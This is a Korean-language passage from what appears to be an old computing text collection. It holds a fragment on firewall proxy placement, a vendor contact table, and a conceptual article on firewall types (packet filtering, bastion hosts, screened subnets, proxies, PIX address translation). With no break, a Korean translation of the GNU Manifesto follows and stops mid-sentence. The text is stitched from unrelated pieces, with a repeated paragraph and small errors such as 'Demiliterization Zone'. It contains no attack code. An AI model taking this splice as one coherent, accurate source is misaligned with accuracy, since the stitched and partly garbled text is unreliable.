          다섯째, telnet, ftp, news 등의 프락시를 설치되는 외부에 노출
        된 기계가 외부네트워크에 둘  것인가 혹은 하나 이상의 내부 기계
        와 통신을 허용하는  필터링으로서의 스크린 라우터를 만들 것인가
        를 결정해야 한다. 각각의 접근 방식은 장단점이 있는데, 프락시기
        계가 고급  수준의 기록성과 잠재적인 보안  기능을 많이 구현해야
        하는 만큼 또한 비용이  많이 요구되기 때문이다. 프락시는 요구되
        는 서비스 마다 따로 따로 설계되어야 하며, 편리성과 보안에 드는
                              비용은 상대적이다.
                     5.4 방화벽 시스템 제품 현황 및 연락처
          국내에서 유통되고 있는  방화벽 시스템 제품들은 한정되어 있으
        며, 또한 거의 대부분이 수입제품이다. 최근 정보보안에 대한 마인
        드가 점차 증가함에 따라 방화벽 시스템을 설치하거나 고려중인 곳
        이 많이 생기고 있는 실정이지만 고려중인 기관들이 국내의 어디로
        연락을 해야 할 지 모르는  경우가 많다. 그래서 그러한 고민을 덜
        어 주고자 국내의 방화벽 시스템 제품 취급 업체와 보안 관련 제품
             을 취급하는 업체들의 연락처를 아래 표에 적어 보았다.
                         * 방화벽 시스템 제품 취급 업체
        업 체 명               담 당 자     전 화           제 품 명
고려정보/한국디지탈    김 달문 사장 042-483-3400    Digital Firewall System
   네트컴                 이 성철 부장 02-780-1055     Eagle, Cylink Corp
       두산정보시스템                      02-510-4607~12  BorderWare
       데이타게이트인터내셔날 홍 승창 부장 02-786-4281     Omni Guard
       삼성전자               유 동일      02-3464-3359    Black-hole
 싸이버텍홀딩스         황 주석 과장 02-785-0103     Checkpoint Firewall-1
          유엔아이시스템즈       백 무현 차장 02-782-4900     SeOS
       한국썬마이크로시스템   정 남현 차장 02-563-8700     Firewall-1
          한국아이비엠           조 혜인 과장 02-781-7163     SNG
        한일 정보통신          이 규호 과장 02-3452-0011    Gauntlet

                               *** 목 차 ***
                       제 1 부 : 인터네트 보안의 실체
             제 2 부 : 인터네트 수비대, 파이어월이란 무엇인가?
  ------------------------------------------------------------------------
    ? 2부 ?
              ━━━━━━━━━━━━
               파이어월이란 무엇인가?
              ━━━━━━━━━━━━
    1부에서 살펴보았듯이 인터네트는  전산망 침입자들에게 매
  우 취약하다. 이에 무분별한 정보 유출의 피해를 줄이고 보다
  안심하고 인터네트를  사용할 수 있도록 개발된  것이 방화벽
  시스템 즉, 파이어월이다.
    2부에서는 보안 시스템의 대명사, 파이어월을 알아본다.
    먼저 파이어월의 기본 개념,  주된 목적, 설치를 위한 네트
  워크 정책, 그리고  종류를 알아보겠고, 끝으로 파이어월로도
  막지 못하는 바이러스에 대해 살펴본다.
                           글 /  윤삼수(넥스텔 기술부 과장)
    파이어월의 원래  의미는 건물에서 발생한 화재가  더 이상
  번지는 것을 막는 것이다.  이러한 의미를 인터네트에서 쓴다
  면 이는 네트워크의 보안 사고나 문제가 더 이상 확대되는 것
  을 막고 격리하려는 것으로 이해될 수 있다.
    방화벽 즉, 파이어월의 기본  개념은 사내 네트워크의 출입
  구를 하나로 단일화하는 것이다.  이렇게 시큐리티 관리 범위
  를 한정함으로써 보다 효율적인 액세스 제어가 가능하기 때문
  이다.
    따라서 파이어월이란  2개의 네트워크 사이에서  접근 제어
  정책을 구현할 수 있도록  하는 시스템 또는 시스템들의 집합
  이다. 궁극적으로 이 시스템이 수행하는 기능의 입장에서는 2
  개의 메카니즘으로 이루어지는데,  즉 네트워크에서의 트래픽
  을 막는 것과 허용하는 것이다. 파이어월에 따라 강조하는 점
  이 달라질 수 있지만, 가장  중요한 것은 파이어월이 접근 제
  어 정책을 구현한다는 사실이다.
    ● 왜 파이어월이 있어야 하는가?
    파이어월의 주된 목적은  내부 네트워크의 중요한 데이터나
  자원들을 인터네트 상에서  행해지는 여러 불법행위로부터 보
  호하고, 내부에서는 일상적인 업무를 평상시와 같이 할 수 있
  도록 하는 것이다.
    대부분 전통적인 기관이나  네트워크/데이터 센터들은 자체
  적인 보안 정책이나 실행 강령 등을 가지고 있는데, 네트워크
  정책이 데이터 보호에 역점을  둔 곳일 수록 파이어월은 매우
  중요하다. 인터네트에 접속하고자 할 때 만약 규모가 큰 기관
  이라면, 비용이나 노력에 대한 정당성을 찾기 어려울 뿐 아니
  라, 관리적인 것도 안전한지  정당화하기 어렵다. 즉, 파이어
  월은 보안뿐 아니라 망 관리에 대한 보증이 되기도 한다.
    또한 파이어월은 인터네트에 대한 기관의 대사관 역할을 하
  게 된다. 많은 기관들이  파이어월을 자신의 제품이나 서비스
  에 대한 공개 정보  서버로서 활용, 파일을 제공한다. 이러한
  시스템의  경우 인터네트  서비스의  중요한 역할(예를  들면
  Uunet.uu.net, whitehouse.gov, gatekeeper.dec.com 등)과 자
  신의 기관이 인테네트에서 어떤 역할을 하는지 파이어월을 통
  해 투명하게 반영된다.
    일반적으로 파이어월은 외부에서의 불법적인 대화형 접근을
  막을 수 있도록  구성할 수 있으며, 불법  행위자들이 내부의
  네트워크내 기계로  접근하는 것을 봉쇄한다.  그러면서 내부
  사용자는 외부에 자유롭게 접근할  수 있도록 허용하는 반면,
  어디에서 출발한 트래픽일지라도 제어 가능하다.
    또한 컴퓨터가 다이얼 모뎀에 의한 공격을 받을 수 있는 것
  과는 달리 파이어월은 효과적인 전화태핑과 역추적 도구 기능
  이 제공되며, 모든 로고가 남기 때문에 어떤 트래픽이라도 역
  추적이 가능하게 된다.
    따라서 파이어월 시스템으로의  접근은 전반적인 호스트 보
  안을 증진시키는데 도움을 줌으로써 사이트에 많은 이점을 제
  공한다. 파이어월을 사용함으로써 다음과 같은 이점이 있다.
      취약한 서비스로부터 보호
      호스트 시스템으로의 액세스 컨트롤
      보안의 집중
      확장된 프라이버시
      네트워크 사용과 미사용에서의 로깅과 통계자료
      정책 시행
    ● 파이어월 설치를 위한 네트워크 정책
    내부 네트워크 시스템을 어떻게 운영할 것인가에 따라 파이
  어월 설치 정책이 바뀐다. 먼저 매우 중요한 작업을 제외하고
  는 모든 접속을 거부하는 식으로 시스템을 운영할 것인가? 아
  니면 덜 위협적인 방법으로  접속해 오는 모든 트래픽에 대해
  조사하고 점검하는 방식으로 시스템을 운영할 것인가?를 선택
  해야 한다. 즉, 어느 정도  수준의 모니터링, 백업 및 제어를
  원하는가? 하는 문제이다.
    첫번째 이슈로서 기관이 받아들일  수 있는 위험 수준이 정
  해졌다면, 두번째는 어떤 것을 모니터링하고, 허용하고, 거부
  할 것인가에  대한 체크리스트를 작성해야 한다.  즉, 기관의
  전체적인 목적을 결정하고, 위험  평가에 근거한 필요성 분석
  을 하며, 계획했던 목록과 구별될 수 있는 문제점들을 가려낸
  다.
    세번째는 경제적인 문제이다.  예를 들어, 완전한 파이어월
  제품의 구입에 드는 비용은  무료에서 100,000달러에 이를 수
  있다. 무료에는 라우터의 비용과 구성 및 스태프 인건비 등은
  포함되지 않은 것이다. 파이어월 시스템의 우선 설치 및 구현
  에 드는 비용 뿐 아니라,  지속적으로 드는 비용과 지원비 등
  이 계산되어야 한다.
    기술적인 측면에서  몇가지 결정해야 할 것은  기관 내부의
  네트워크 서비스 제공자 사이에서의 고정적 트래픽 라우팅 서
  비스 등에 대한 부분이다.  트래픽 라우팅은 라우터에서 IP수
  준의 스크린 규칙이나  혹은 프락시 게이트웨이 서비스에서의
  응용 수준 등에서 구현되어야 한다.
    TELNET, FTP, NEWS, WWW 등의 프락시(proxy)를 외부 네트워
  크에 둘 것인가, 혹은 하나  이상의 내부 기계와 통신을 허용
  하는 필터링으로서의 스크린  라우터를 만들 것인가를 결정해
  야 한다.
    프락시란 사용자를 대신하는  소프트웨어 에이전트이다. 대
  표적인 프락시는  어떤 사용자의 접속을 받아  이것이 허용된
  호스트나 사용자인지 미리 점검하고 어떤 추가적인 인증 기능
  을 할 수도 있는데, 원격지 목적지를 사용자를 대신하여 접속
  해 준다.
    각각의 접근 방식은 장단점이  있는데, 프락시 기계가 고급
  수준의 기록성과  잠재적인 보안 기능을 많이  구현해야 하는
  만큼 비용 또한 많이 요구된다. 프락시같은 경우 요구되는 서
  비스마다 따로 설계되어야 한다.  그리고 중요한 것은 편리성
  과 보안에 드는 비용은 상대적이라는 점이다.
    ● 파이어월의 종류
    파이어월은 개념적으로 크게  두가지로 나뉘어진다. 성능이
  우수한 패킷 필터링 방식과  액세스 제어가 보다 세밀한 애플
  리케이션 게이트웨이 방식이 그것이고, 두종류를 함께 사용할
  수도 있다.
    ☞ 네트워크 레벨의 패킷필터링
    네트워크 레벨 시스템은  IP 패킷의 Source/Destination 어
  드레스와 포트에 의해 결정된다.  단순한 라우터는 낡은 방식
  의 네트워크 레벨 파이어월을  제공하는데, 이것은 어떤 패킷
  이 동작하는지, 어떠한 네트워크에서 왔는지를 판단해야 하는
  복잡한 규칙에 대해 판단하기 어렵다.
    현재의 네트워크 레벨 파이어월은 매우 정교해졌다. 따라서
  허용된 접속들의 상태와 데이터 내용 등을 관리할 수 있다.
    한가지 중요한 구별점은  네트워크 레벨 파이어월이 라우터
  를 직접 제어할 수 있으며,  할당된 IP 블럭을 정당하게 사용
  할 수 있도록 해준다는 점이다. 네트워크 레벨 파이어월은 매
  우 빠르며, 사용자에게 투명한 서비스를 보장한다. 다음은 네
  트워크 레벨 파이어월의 제품 예이다.
    - 스크린 라우터
    파이어월의 가장 기본적인 것으로 시스코, 베이네트워크 등
  의 일반 라우터나 패킷 필터링 기능을 가진 호스트 기반 라우
  터를 통해 구현할 수 있다. 전형적인 스크린 라우터는 IP포트
  레벨에 기반한 네트워크와 특정 호스트 사이의 트래픽에 블럭
  을 쌓을 수 있는 기능을 갖고 있다.
    스크린 라우터를 통한 파이어월 구축은 사내 LAN의 여러 호
  스트와 인터네트의 수많은 호스트 사이에 직접 연결을 제공하
  는 스크린 호스트 게이트웨이와  다르다. 스크린 라우터를 통
  한 파이어월 구축 툴은 많지만, 케이스 바이 케이스로 필터링
  룰을 수정, 관리해야 하며, 착오로 인해 필터링 룰을 잘못 지
  정했을 때 큰 피해를 가져올 수 있는 단점이 따른다.
    파이어월 제품 중에는  이러한 것을 GUI로 구현한  것도 있
  다. 장점은 사용자에게 투명한 네트워크 액세스를 지원하므로
  최종 사용자는 파이어월의 존재  여부를 모르고 사용할 수 있
  다는 점이다.
    - 배스천 호스트(Bastion Hosts)
    외부 침입자를 막기 위해  철저한 방어 기능이 구현되는 시
  스템으로, 파이어월  시스템에서 가장 중요한  기능을 수행한
  다.
    주요 기능은 인터네트와 사내 네트워크 사이에서 사내 네트
  워크 접근을 제어하는 응용 시스템 게이트웨이 역할이다.
    - 스크린 서브네트 파이어월
    외부 네트워크와  내부 네트워크  사이의 완충  영역(DMZ :
  Demiliterization Zone)인 서브 네트워크를 운영하는 구조다.
  다시 말해서 사내 네트워크와 논리적으로 분리된 배스천 호스
  트 중심의 스크린 서브네트를 갖는다.
    여기서 스크린 라우터는 인바운딩 트래픽을 바로 사내 네트
  워크에 접근 못하게 하는  대신, 스크린 서브네트에서는 직접
  접근할 수 있도록 허용한다.  인터네트와 사내 네트워크 사이
  에서 존재하는 스크린  서브네트는 외부 사용자가 인터네트를
  통해 사내  네트워크에 접속하려면, 일단  스크린 네트워크에
  위치한 배스천 호스트를 거치게 한다.
    스크린 서브네트를 통하지  않은 트래픽은 자동으로 봉쇄된
  다. 즉, 배스천 호스트는  스크린 서브네트의 유일한 접속 경
  로라고 할 수 있다. 따라서 리스크존이 그만큼 줄어든다.
    ☞ 응용 레벨 게이트 웨이
    응용 레벨 파이어월은 2개의 네트워크간에 직접적인 트래픽
  을 막고, 트래픽에 대해 로그,  Audit 기능 등이 지원되는 프
  락시를 실행하는 기계를 말한다.
    프락시 응용은 파이어월의  소프트웨어 부분이므로 많은 로
  그와 접근 제어 기능을 주는 것이 좋은 것이다. 응용 레벨 파
  이어월은 어드레스 번역기로서 사용될  수 있다. 즉, 다른 쪽
  에서 들어와 또 다른 쪽으로 나가기 때문에 처음 시도한 접속
  에 대해 효과적인 마스킹을 할 수 있는 것이다.
    이렇게 중도에  응용을 가지는 것은 어떤  경우에는 성능에
  문제를 가질 수 있으며, 투명성이 보장되지 않는다. TIS 툴키
  트 등에 구현된  것과 같은 초기 응용  레벨 파이어월은 일반
  사용자에게 투명하지도 않으며, 어떤 연습이 필요했다.
    그러나 최근의  응용 레벨 파이어월은  투명성이 보장되며,
  보다 상세한 Audit 보고와  네트워크 레벨 파이어월보다 보다
  안전한 보안 모델을 제공하고 있다.
    - 이중 네트워크 게이트웨이(Dual-Homed Gateway)
    직접적인 접근은 통제하고, 이중 네트워크 게이트웨이를 통
  해 원하는 서버에 접속하는  원리다. 여기서 사내 네트워크와
  인터네트 사이의 이중 네트워크 게이트웨이는 사실 배스천 호
  스트이다. 이중 네트웨크 게이트웨이 환경하의 사내 네트워크
  의 호스트는  이 게이트웨이를 통해 인터네트의  한 호스트로
  기능을 수행하지만, 네트워크간에  직접적인 트래픽은 오고갈
  수 없다.
    또한 이중 네트웨크 호스트는 TCP/IP 트래픽 포워딩은 불가
  능하지만, 사내 네트워크와 인터네트 사이에서 완벽한 블럭처
  럼 작동한다. 여기서 인터네트의  각종 서비스 이용 편리성은
  시스템 관리자가 얼마나  효율적으로 룰을 설정하는가에 따라
  결정된다.
    텔넷 포워더와 같은  애플리케이션 게이트웨이를 제공할 것
  인지, 아니면  게이트웨이 호스트에 사용자  로그인을 제공할
  것인지를 결정하는 것은 시스템 관리자에게 달려 있다.
    - 스크린 호스트 게이트웨이
    스크린 라우터와 배스천 호스트를  통합한 구조로, 상용 파
  이어월 제품은 스크린 호스트 게이트웨이 원리를 적용한 것이
  대부분이다. 스크린 라우터는 배스천 호스트와 함께 인터네트
  와 사내 네트워크  사이에 존재하며, 인터네트로부터      접
  근할 수 있는 사내 네트워크 상의 유일한 시스템은 배스천 호
  스트라는 것으로 세팅된다.
    여기서 리스크존은 배스천  호스트와 스크린 라우터 영역으
  로 좁혀진다. 또한 스크린  호스트 게이트웨이의 시큐리티 기
  능은 해당 시스템에서 작동하는 소프트웨어에 의해 결정된다.
    ☞ 프락시 서버
    흔히 응용  게이트웨이 혹은 응용 전달자라고  하는 프락시
  서버는 보호된 네트워크와  인터네트 사이의 트래픽을 중재하
  는 응용이라고 볼 수 있으며, 네트워크간에 직접 트래픽이 통
  과되는 것을 막는 라우터  기반의 트래픽 제어를 대신해 이용
  된다.
    많은 프락시들은  그 밖에도 추가적인 로그  기능과 사용자
  인증 기법들이 지원되며, 사용되는 응용 프로토콜을 이해해야
  하므로 각각의  프로토콜에 특정적인 보안 기능을  구현할 수
  있다.
    프락시 서버는  응용에 특정적이다. 만약  프락시를 경유한
  새로운 프로토콜을 지원하려면  그를 위한 프락시를 개발해야
  하며, 일반적으로 사용되는 프락시 서버들은 TELNET, RLOGIN,
  FTP, X-Window, HTTP/WEB, NNTP/USENET 서비스 등을 가진 TIS
  툴키트이다.
    SOCKS는 일반적인 공통의 프락시이며, 클라이언트 응용쪽에
  서 함께 컴파일되어 파이어월과 함께 사용할 수 있다. 이것의
  장점은 사용하기 편리하다는 것이지만, 사용자 인증(시스템에
  접근하는 사용자의 신원을  확인, 결정하는 프로세스)의 부가
  기능이나, 프로토콜에 특정적인  로그기능이 제공되지 않는다
  는 것이다.
    ☞ 파이어월 제품 소개
    파이어월 제품은 소프트웨어 제품과 하드웨어와 소프트웨어
  의 세트,  하드웨어화한 단독형 제품, 컨설팅  서비스의 일부
  등으로 제각각이다. TIS의  Gauntlet, EAGLE 등은 애플리케이
  션 게이트웨이 제품이고, Firewall-1은 대표적인 패킷 필터링
  제품이다.
    어떤 형식의 제품을 선택할 것인가는 자사의 시큐리티 정책
  과 설치 운영의 편리성, 파이어월의 처리 성능을 고려해 결정
  해야 한다.
    예를 들어 사내 IP  어드레스를 절대 외부에 유출시키지 않
  으려면, 내부 네트워크는  파이어월만이 공개되는 애플리케이
  션 게이트웨이형을 선택하는게 좋다. 동시에 액세스하는 사용
  자의 수나 리스폰스라는 파이어월의 처리 성능을 중시한다면,
  트래픽 처리시 CPU 부하가  가벼운 패킷 필터형 제품이 좋다.
  애플리케이션 게이트웨이형은 사용  환경의 편리성을 위해 제
  품에 따라 전용 클라이언트 소프트웨어가 제공되기도 한다.
    ● 공개 서버와 파이어월
    공개 서버를 파이어월  안에 설치하느냐? 밖에 설치하느냐?
  아니면 파이어월에 같이  설치하느냐?는 나름대로의 장단점들
  이 모두 있다.
    일반적으로 파이어월 안에 서버를 설치할 수 없는 파이어월
  프로그램들이  많다.  체크포인트  소프트웨어  테크놀러지의
  FireWall-1이나 밀케웨이  네트웨크의 블랙홀  파이어월 같은
  제품은 안쪽에 공개 서버를 둘 수도 있지만, 일반적으로 파이
  어월 안에 서버를  설치할 수는 없다. 있다  하더라도 사용자
  인증 과정이나 그밖에  모니터링으로 접속이 불편하고 사용하
  기에 느릴 수 있으며,  파이어월 트래픽이 가중된다는 문제점
  이 따른다.
    밖에 있을 경우는 외부 침입자로부터 가장 직접적으로 공격
  받을 가능성이 높다. 보안에  문제가 있을 수도 있지만, 파이
  어월에서 공개 서버를 구현하는 것이 바람직하다.
    ● IP 주소 변환(IP Address translation)
    자신의 내부 네크워크가 독자적인 망으로 구성되어 있을 경
  우, 인터네트와  연결되게 되면 IP 주소를  할당받아야 하고,
  할당받은 주소와 기존에 사용하고 있는 주소와의 매칭 과정이
  필요하다.
    인터네트 IP는 NIC센터로부터  부여받게 되는데, 내부 네트
  워크에 비해 작은 양의 IP를 가지게 된다. 여기서 IP 주소 변
  환기가 필요하게 된다.  현재는 하드웨어적으로 구현된 PIX같
  은 거와 소프트웨어적으로 구현된 몇몇 파이어월 제품들이 있
  다.
    ☞ PIX(Private Internet Exchange)
    PIX는 IP 어드레스 변환을 위한 전용 장치라고 할 수 있다.
  이 제품은 사내 네트워크용 로컬 어드레스를 글로벌 어드레스
  로 자동 변환, 인터네트 접속을 가능하게 하는 제품이다.
    PIX는 기본적으로 외부에서 사내 LAN에 접속하는 것을 모두
  차단하기 때문에 파이어월로서 기능을 수행한다. 이는 몇개의
  글로벌 어드레스를 저장해 뒀다가  사내 LAN 사용자가 인터네
  트를 사용하려면  대기중인 글로벌 어드레스를  할당, 변환해
  외부와 통신을 지원한다.
    내부의 네트워크 주소를 동적으로 PIX장비에서 할당하기 때
  문에 내부에 특별히 WWW, FTP, ARCHIE 등과 같은 공개 서버를
  두려면 문제가 있다. 이와 같은 공개 서버들은 외부에 자신의
  주소가 공개되어야 하는데,  PIX에서는 정적인 연결로 제공한
  다.
    그러나 보안  문제는 아주 저레벨의 패킷  필터링 수준으로
  지원된다. 또한 사내 네트워크에서 작업을 하지 않고, 재택근
  무를 통한 원격지 근무를  하기 위한 사내 데이터베이스를 접
  속하려고 한다면 보안상 아주 큰 위험이 있다. 액세스 컨트롤
  수준의 패킷 필터링과 프락시를  통한 보안은 되지만, 사용자
  에 대한 인증 과정을 거치지 않은 트랙픽이 들어오게 된다.
    장점으로는 하드웨어적으로 구현되어  있고, 수많은 트래픽
  에 대한 주소 변환에  맞게끔 실시간 운영체제(real-time OS)
  에서 작동되어 성능면에서 우수하다. 그러나 가격대 성능비는
  좋은 편이 아니다.
    ☞ 소프트웨어적 주소 변환
    하드웨어적인 PIX일  경우 C-class급용(256개의  IP 어드레
  스)부터 시작해서 할당받은 IP 주소의 개수에 따라 기계가 달
  라진다. 가격도  또한 계속 올라가는  반면에 소프트웨어적인
  경우는 IP에 할당받은 만큼 설정만 해주면 얼마라도 가능하게
  된다.
    성능면에서는 조금 뒤떨어 질  수도 있지만, 파이어월에 집
  중된 하드웨어를 설치한다면 문제가 없다. 그리고 PIX에 없는
  사용자 인증 과정이 있으며, 내부 혹은 파이어월 자체에 공개
  서버를 둘 수도 있다.
    내부에 있을 경우 물론 많은  트래픽이 있을 수 있다. 명백
  한 액세스가 되지 않는 단점이 있지만, 보안이 강화되면 어느
  정도의 불편은 감소해야 된다.
    ● 파이어월 시스템으로도 막지 못하는 것
      파이어월을  통과하지 않는 트래픽에 대해서는  막을 수
       없다.
      기관의 배반자나 스파이들에 대해서는 보호할 수 없다.
      내부 사용자가 무심코  흘리는 정보에 대해서는 막을 수
  없다.
    파이어월은 바이러스(자기 복제 능력이 있는 고트 세그먼트
  로서, 바이러스는  공격 프로그램이나 트랩도어를  가질 수도
  있다)에 대해서는 효과적으로 막지는 못한다.
    네트워크 상에서 실행 파일을  받아 올 경우 트로이목마(트
  랩도어나 공격 기능을 가지고 동작하는 일반적인 프로그램)가
  존재할 수도 있다.
    따라서 파이어월로 바이러스를 검출하겠다는 생각보다는 중
  요한 시스템이 부팅될 때마다 바이러스를 스캐닝할 수 있도록
  하는 편이 좋다.
    끝으로 파이어월이 100% 인터네트 보안을 책임지는 것은 아
  니다. 단지 전산망에서 보안 격리만을 제공할 뿐이다. 자사의
  네트워크 환경에 맞는 자체적인 파이어월 구축이 필요하다.



GNU란 무엇인가? Gnu's Not Unix!

GNU는 유닉스와 완벽하게 호환하는 소프트웨어 시스템이며 사용가능한 모든이가 무료로
사용하도록 작성한 것이다. 몇몇 다른 자원자들의 도움이 있었으며, 많은 시간적, 금전적 지원 및
프로그램과 장비가 절실히 필요한 상태이다.
우리는 문서 형식기로 TeX를 사용할 것이며, nroff도 여전히 사용될 것이다. 또한, X 윈도우
시스템도 사용할 것이다. 이런 후에 Common Lisp, Empire, 스프레트시트 등과 수많은 다른
프로그램을 온라인 문서를 포함하여 추가할 것이다. 우리는 결국, 일반적인 유닉스 시스템의 모든
기능을 갖추게 될 것이다.
지금까지 우리는 편집명령을 작성하기 위한 리스프를 갖춘 Emacs 문서 편집기, 소스수준의
디버거, yacc호환 파서 생성기, 링커등 35개 가량의 유틸리티를 만들어 왔으며, 쉘(명령어
번역기)은 거의 완벽한 수준에 이르렀다. 최적화된 포터블 C 컴파일러가 새로이 제작되었으며
이번 해에 배포될 것이다. 이미 처음의 커널이 있기는 하지만 유닉스를 구현 하기 위해서는 보다
많은 사양들이 추가되어야 할 것이다. 커널과 컴파일러가 완성되면 프로그램 개발에 적합한 GNU
시스템을 배포할 수 있을 것이다.
GNU는 유닉스 프로그램들을 사용할 수 있게 해주지만 유닉스와 동일한 것은 아니다. 우리는 다른
운영체제에서의 경험을 살려 가능한 사용하기 편리하도록 향상을 꾀했다. 특히, 긴 파일명을 쓸수
있게 하고, 파일 버전넘버를 달고, 견고한 파일시스템을 구축하고, 터미널 비의존적인 디스플레이
장치를 만들 계획이며 최종 적으로 몇개의 리스프 프로그램과 일반적인 유닉스 프로그램이 한
화면을 나누어 쓸 수 있는 리스프 기반의 윈도우 시스템을 만들 것이다. 시스템 프로그래밍
언어로 C와 리스프 두가지를 다 사용할 수 있을 것이다. UUCP, MIT Chaosnet, 인터넷 프로토콜을
지원할 것이다.
GNU 는 본래 가상메모리를 가진 68000/16000 계열의 컴퓨터를 겨냥하고 제작되었다. 그 까닭은
그 기계들에서 GNU를 가장 쉽게 작동시킬 수 있기 때문이다. 보다 작은 컴퓨터에서 작동 시키기
위해서는 사용하고자 하는 사람이 특별한 노력을 기울여야 할 것이다.
심각한 혼돈을 야기할 수 있기 때문에 'GNU'가 이 프로젝트를 지칭 할 때는 반드시 'G'를
발음해주기 바란다.
나는 누구인가?
나는 리처드 스톨맨이란 사람이며 Emacs 에디터의 고안자이다. 나는 컴파일러, 에디터, 디버거,
명령어 해석기, 시분할체제와 리스프머신 운영체제에 관해 광범위한 작업을 해왔으며, ITS에서
터미널 비의존적인 출력장치를 개발했다. 그런 다음 리스프기계를 위한 견고한(crashproof) 파일
시스템 하나와 두개의 윈도우 시스템을 구현했고, 지금은 세번째 윈도우 시스템을 구상하고
있으며, 이것은 GNU는 물론 다른 많은 시스템에 이식될 것이다.
왜 GNU를 작성해야만 했는가?
어떤 프로그램을 좋아 한다면 당연히 그것을 좋아하는 사람들과 함께 나누는 것이 황금률(대우
받고자 하는 데로 대하라.-성서)이라고 생각한다. 소프트웨어를 판매하는 사람들은 사용자를 각각
구분하고, 그들 위에 군림하고, 사용자 서로가 프로그램을 공유하는 것을 막고자한다. 나는 이런
식으로 사용자간의 결속이 깨지는 것을 거부한다. 나는 올바른 양심으로 비공개 협정이나
소프트웨어 라이선스 협약에 서명할 수 없다. 여러해동안 인공지능 연구소에서 일하면서 그러한
경향과 다른 박정한 일들에 저항해 보았지만 결국에는 그들의 승리로 끝나고 말았다. 내 의지에
역행하는 그런 일들이 일어나는 연구소에 나는 더이상 머무를 수가 없었다.
내가 계속해서 명예를 손상시키지않고 컴퓨터를 사용하기위해, 상업용 소프트웨어를 더이상
사용하지 않고도 작업을 해나갈 수 있는 충분한 공개 소프트웨어의 본체를 만들 결심을 했다.
유닉스와 호환성을 가지는 이유
유닉스가 이상적인 체제라고 생각하지는 않지만 제법 쓸만하다고 할 수 있다. 유닉스체제의
골자는 훌륭한 것이며 나는 유닉스의 장점을 해치지 않고도 부족한 점을 메꿀 수 있으리라
생각했다. 그리고 유닉스와 호환을 가지면 다른 많은 사람들이 적응하기에도 편리할 것이라
생각했다.
GNU를 사용하는 방법
GNU를 사용하는데 지역적인 제한을 받는 것은 아니다. 누구나 GNU를 수정하고 배포할 수
있지만 어떤이도 GNU가 보다 널리 배포되는 것을 제한할 수 없다. 즉, 변경한 내용을 독점할 수
없다는 것이다. 나는 모든 버전의 GNU가 공개된채 로 남아있기를 보장 받고 싶은 것이다.
많은 다른 프로그래머들의 동참을 바라는 이유
나는 그동안, GNU에 흥미를 느끼고 돕고자 하는 많은 프로그래머들을 찾을 수 있었다. 많은
프로그래머들은 시스템 소프트웨어가 상용화된 것을 불쾌하게 생각한다. 이렇게 함으로 해서
보다 더 많은 돈을 벌 수는 있겠지만 일반적으로 이런 상황에서는 프로그래머들이 서로를 동지로
느끼기 보다는 투쟁해야할 대상으로 느끼게 된다. 프로그래머들 사이의 우정을 나타내는 가장
기본적인 행동은 프로그램을 나누는 것이다. 이제는 전형적인 핵심으로 여기는 마케팅 협정은
프로그래머들이 친구로서 다른 프로그래머를 대하는 것을 금하고 있다. 소프트웨어를 구입한
자는 우정과 준법중 하나를 선택해야만 한다. 물론 자연적으로 많은 이들이 우정을 보다
중요시한다. 그러나 법의 존재가치를 인정하는 사람들은 어떤 결정을 내리든 편한 마음을 가질 수
없다. 그들은 냉소적이 되어 프로그래밍은 단지 돈을 버는 수단이라고 생각 하게된다.
그러나 독점적인 프로그램들 대신 GNU를 사용하게되면, 우리는 모든이에게 온정을 가질 수
있으며 법도 준수하게 된다. 게다가 GNU는 영감을 주는 예와 다른이가 우리와 나누는 일에
동참하도록 고무하는 깃발 노릇도 한다. 이는 우리가 상용 프로그램을 쓸 때는 느낄 수 없는
조화로운 느낌을 갖게한다. 나와 대화한 프로그래머들 중 거의 반정도는, 이것은 돈이 대신할 수
없는 중요한 행복이라는데 공감했다.
당신이 기여할 수 있는 방법
나는 제조업자들에게는 기계와 돈을, 개인들에게는 프로그램과 노동을 지원해 줄 것을 요청한다.
 컴퓨터를 기증해서 기대할 수 있는 중요한 점은 GNU가 머지않아 그 기계에서 작동 할 것이란
점이다. 기증된 컴퓨터는 완전해 질 것이며, 따라서 시스템을 사 용할 준비를 모두 갖추게 되어
파워와 효율을 과대 포장할 필요가 없을 것이다.
나는 GNU를 위해 시간제로 일하기를 갈망하는 많은 프로그래머들을 찾을 수 있었다. 대부분의
프로젝트에서 그러한 시간제로 배치된 작업을 통합하고 조정하는 일은 매우 어려웠다.
독립적으로 쓰여진 부분들은 함께 동작하지 않았다. 그러나 특정한 작업인 유닉스를 대치하는
과정에서는 그러한 문제가 생기지 않았다. 완전한 유닉스 시스템은 개별적인 설명이 포함된
백여개의 유틸리티를 포함한다.
대부분의 인터페이스 사양은 유닉스에 호환되도록 맞추어 진다. 만약 각각의 프로그래머가
유닉스 유틸리티 한개를 유닉스에 호환하도록 재구현하고 본래의 유닉스 시스템에서 충분히
작동하게 할 수 있으면, 이것들은 함께 묶어 놓아도 올바르게 작동할 것이다. 만일 누군가가
예기치 못했던 문제를 야기시킨다 해도, 전체적인 구성요소들을 통합하는 작업은 충분히 가능할
것이다. (커널을 만드는 작업 은 세밀한 대화가 필요할 것이며, 소수의 호흡이 잘 맞는 집단이
적당할 것이다.)
만일 내가 금전적인 지원을 얻는다면, 약간의 인원을 전시간 또는 시간제로 고용할 수 있을
것이다. 일반적인 프로그래머 수준의 높은 봉급을 줄 수는 없겠지만, 돈이 가지는 것 만큼 공동체
의식을 정립하는 일도 중요한 의미를 가진다고 생각하는 사람들을 찾아 볼것이다.
모든 컴퓨터 사용자가 이득을 얻게되는 이유
일단 GNU가 작성되니까, 마치 공기처럼, 모든 사람들이 훌륭한 시스템 소프트웨어를 무료로 얻을
수 있게 되었다. 이것은 단지 모든 이에게 유닉스 저작권에 대한 비용을 덜어 주는 것보다 훨씬 더
많은 의미를 가진다. 이는 시스템 프로그래밍에 드는 노력이 불필요하게 중복되는 것을 피할 수
있음을 의미한다. 대신, 절약된 노력은 기술 수준을 향상시키는데 사용 될 것이다.
완벽한 시스템 소스가 모든 사람들에게 제공될 것이다. 결과적으로, 시스템에 변화를 주고자
한다면 언제든지 스스로 자유롭게 수정할 수 있을 것이다. 혹은 적당한 프로그래머나 업체에
의뢰할 수도 있을 것이다. 사용자들은 더이상 프로그램 소스를 가진 프로그래머나 회사에
의존하지 않아도 될 것이며 독자적으로 수정을 가할 수 있을 것이다.
학교는 모든 학생들이 시스템 코드를 배우고 향상시키도록 장려함으로써 보다 나은 교육 환경을
조성할 수 있을 것이다. 하버드 컴퓨터 연구소에서는 어떤 프로그램이든지 그 소스가 공개 전시
되지 않으면 시스템에 설치하지 못하게 하는 정책을 쓰곤 했다. 실제로 어떤 프로그램들을
